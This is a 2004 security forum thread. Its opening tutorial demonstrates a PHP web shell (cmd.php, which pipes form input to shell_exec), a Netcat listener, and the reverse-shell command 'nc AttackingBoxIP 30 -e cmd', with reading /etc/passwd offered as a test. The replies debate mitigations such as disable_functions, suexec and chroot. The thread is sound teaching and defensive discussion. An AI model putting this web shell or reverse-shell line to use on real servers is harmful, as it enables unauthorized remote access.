Shoveling a Shell using PHP Insecurities

***Irongeek*** · August 11th, 2004, 07:36 PM

Shoveling a Shell using PHP Insecurities

Many do not realize the amount of power that PHP can give a system user if it is not configured securely. The problem this tutorial is about is not just a problem for web hosting companies. I come from the academic world where many universities give students and staff the ability to create their own web pages on a campus web server. Sometimes the users can even create ASP or PHP files for their website to make them more dynamic. With PHP installed and configured insecurely a user could run arbitrary programs on the system or in their web folder, seriously compromising system security. In this tutorial I will demonstrate this using a piece of software called Netcat ( http://www.atstake.com/research/tool...ork_utilities/ ).

Netcat is like a Swiss Army knife for making TCP connections. For an attacker to shovel a shell from the target web server he first has to start Netcat listening for a connection on his box. For this tutorial I chose to use port 30, but a different port could work just as well. Here is the command issued on the attackers box to start listening for a connection on port 30:

Code:

    nc -l -p 30

At this point all the attacker has to do is upload Netcat to his web space on the target server and use the following PHP script (which you can also download as a zip file later in this page, it should work in both Windows and *nix):

Code:

    &lt;HTML&gt;
    &lt;BODY&gt;
    &lt;PRE&gt;
    &lt;FORM METHOD="post" ACTION="cmd.php"&gt;
    &lt;INPUT TYPE="TEXT" NAME="command"&gt;
    &lt;INPUT TYPE="Submit"&gt;
    &lt;/FORM&gt;
    &lt;PRE&gt;
    &lt;?
    $command = str_replace("\\\\","\\",$_POST[command]);
    echo "&lt;B&gt;Results for $command: &lt;/B&gt;&lt;P&gt;";
    $results = str_replace("&lt;","&lt;",shell_exec($command));
    $results = str_replace("&gt;","&gt;",$results);
    echo $results;
    ?&gt;
    &lt;/PRE&gt;
    &lt;P&gt;
    &lt;B&gt;If this script works add this line to your PHP.ini:&lt;/B&gt;
    &lt;FONT color="#ff0000"&gt;disable_functions=system,exec,passthru,shell_exec&lt;/FONT&gt;
    &lt;/BODY&gt;
    &lt;/HTML&gt;

and then issue the following command in the input form when the script is loaded from the website:

Code:

    nc AttackingBoxIP 30 -e cmd

The previous command shovels a shell back to the attacker, allowing the cracker command line access to the web server and from there he could leap frog to other machines and have his identity obscured as that of the web servers IP. Active Server Pages have similar functionality (Wscript.shell). Using methods similar to these, a user could view the source code of other Active Server Pages (possibly revealing ODBC passwords), or if the web servers file system is Fat32 (or the NTFS permissions are overly permissive), they could edit other web pages or system files. To help limit these risks always use NTFS with proper permissions (assuming it's a Windows box) and limit what functions a user can access (see http://www.php.net for information on using the safe_mode or disable_functions directive in PHP, see Microsoft Knowledgebase article Q278319 for limiting the use of Wscript.shell in Active Server Pages). In this case adding the following line to your PHP.ini file should suffice:

Code:

    disable_functions=system,exec,passthru,shell_exec

If you want to see if PHP is configured securely on your web server unzip the following file:

http://irongeek.com/downloads/cmd.php.zip

into a web accessible directory and surf to it. This PHP script works on both Windows and Linux system (or any other OS that can use PHP). Once you have it in a web accessible directory try some of these commands:

Windows:

netstat
netusers
dir c: /s
type some.file.name

Linux:

df
cat /etc/passwd

***ammo*** · August 11th, 2004, 09:12 PM

While your tutorial is/can be enlightning to those who were not aware of such vulnerabilities, I feel it lacks a little context and that the title is slightly inaccurate as such "inscecurities" aren't specifict to php but can affect any web scripting language...

I'd encourage you to look into "input validation vulnerabilites" and perhaps add prevention and mitigation techniques to your tutorial, which I'd suggest splitting into "scripting/programing input validation techniques" (usually the root of the problem) like the use of regexp and "web/app server configuration techniques" (threat mitigation) like chroot, suexec, privsep...

Just my 2 cents...

Ammo

***Irongeek*** · August 11th, 2004, 09:33 PM

Understand your point, but this tutorial does not have to do with input validation. In this case it assumes the attacker already has the ability to put scripts on the target box. A better title may have been “Shoveling a Shell using PHP configured insecurely”. The "add prevention and mitigation" part is there. I mention editing php.ini and adding:

disable_functions=system,exec,passthru,shell_exec

to it, as well as refering them to a site with more information. Thanks for your feed back.

***Vorlin*** · August 11th, 2004, 10:08 PM

Good post, IG...love your sig too, haha...

PHP can provide a world of dynamic data and whatnot for any machine where it's able to run. It can also be a gaping hole depending on input errors, invalid stack checks, POST/GET abuse, etc...

As always, security = 1 / convenience....

***ammo*** · August 12th, 2004, 02:42 AM

Originally posted here by Irongeek
Understand your point, but this tutorial does not have to do with input validation. In this case it assumes the attacker already has the ability to put scripts on the target box. A better title may have been “Shoveling a Shell using PHP configured insecurely”. The "add prevention and mitigation" part is there. I mention editing php.ini and adding:

disable_functions=system,exec,passthru,shell_exec

to it, as well as refering them to a site with more information. Thanks for your feed back.

Yeah, I get what you mean. However my point is that I do consider this an input validation error since the first rule to input validation is "never execute unvalidated user input"...
The thing is, these functions by themselves aren't vulnerabilities, what makes them so is the fact that you pass it unvalidated user data/commands... You could very safely and legitimately make use of these functions to execute constant command strings which implies that it's not really php or it's configuration's fault but rather poorly written code that's at fault.

In this case it assumes the attacker already has the ability to put scripts on the target box

But then again, if the attacker already has the ability to upload scripts, your already in at least *some* trouble and it's the vulnerability that has allowed the attacker to upload content that is at fault...

Even then, further exploitation of the "upload" vulnerability would be mitigated if the http daemon runs as an unprivileged user (not root!), preferably in a chroot, and that file/directories write accessible by the httpd user *never* be so and executable at the same time...

Again, just restating my point, it's not the configuration that's the vulnerability here, it's the script... Let's put it this way: if I were able to upload scripts, you might just as well upload a cgi if php were "securly" configured not to exec...

Ammo

***Vorlin*** · August 12th, 2004, 03:05 AM

But then again, if the attacker already has the ability to upload scripts, your already in at least *some* trouble and it's the vulnerability that has allowed the attacker to upload content that is at fault...

The only problem with that statement is that then, by that omission, every end-user or student or customer who has shell access, ftp access, etc is then considered an 'attacker'. MUDs have/had the same problems...allowing people to come onto your server (even if they were paying) and you had to monitor everything from proc lists to memory usage to network usage, checking out someone who's running ./elm or ./vi, etc...oh the lists!

Chroot your http environment, chroot your ftp access, limit it to no anonymous logins, turn safe mode on for php, etc...it's a task, making things secure, hehe.

***Irongeek*** · August 12th, 2004, 05:03 AM

As Vorlin points out, in some environments, like web host providers and universities, you have to limit the accessible functions because you may not be able to trust the user. In those cases it’s not an input validation issues, because from the attackers perspective as the one who put the script there, it’s good data.

***ammo*** · August 12th, 2004, 05:57 AM

If you can't trust your users, use suexec, disk quotas, and login classes (stack/mem/cpu limits)...
Then if a user screws up his scripts or is just doesn't mean well, the scope of concequences is limited to his stuff... (Of course there's still exposure to local vulnerabilities but these are there anyway).

The only problem with that statement is that then, by that omission, every end-user or student or customer who has shell access, ftp access, etc is then considered an 'attacker'.

...

In those cases it’s not an input validation issues, because from the attackers perspective as the one who put the script there, it’s good data.

Ok, I wasn't taking it from the perspective of an shared/open hosting environement...
In that case, yeah, if the *only* services you were offering were (chrooted) ftp access for file transfer, plain html and only php as scripting means, and didn't expect your users to have any shell access (ie: didn't harden things more than that), forgetting to "disable_functions=system,exec,passthru,shell_exec" would surely come back to bite you, that I agree...

However(!), and I'm mainly pointing this out for other readers as you probably already had this in mind already, the moment you offer any kind of "shell" service, like telnet, ssh, CGIs, SSIs, servlets, there'd be no point in relying on disabling these functions in php since they'd be accessible through other vectors... At that point it becomes much safer and easier to "blanket" restrict/contain the users at the system level (like mentionned above, as well as what Vorlin said) and leave them conveniance of using exec type funcitons in php...

it's a task, making things secure, hehe.

You'll get no argument from me there!

While I'm at it, how about a bonus real life example:
The university I went to (just finished by the way! woohoo!), computer science students have access to a solaris server for general purpose work including shell access and personal web space (in the form of user_dirs with apache) which allowed CGIs, perl, php (I think), servlets... The thing is that they didn't make use of suexec and so it was/would have been rather easy to abuse of the privileges of the httpd user to play with the public_html space of unsuspecting other students who didn't know/care/bother setting appropriate permissions. Even the admin didn't seem to aware of it as they had apache configuration files owned by the httpd user... Duh!!

Ammo

***chsh*** · August 12th, 2004, 06:16 AM

Instead of screaming about the blatantly obvious (if you leave your PHP misconfigured, it will be vulnerable to people who can upload scripts), I'd recommend you direct people to the authority on the matter -- that would be the PHP team. Their documentation even contains a section on PHP's Security considerations. Particularly the user-contributed notes are of interest.

***steve.milner*** · August 12th, 2004, 03:17 PM

Add this bit of info to a cross site scripting attack on a vunerable server and you're off un running.

Thread: Shoveling a Shell using PHP Insecurities

Thread Tools

Display

Shoveling a Shell using PHP Insecurities

Posting Permissions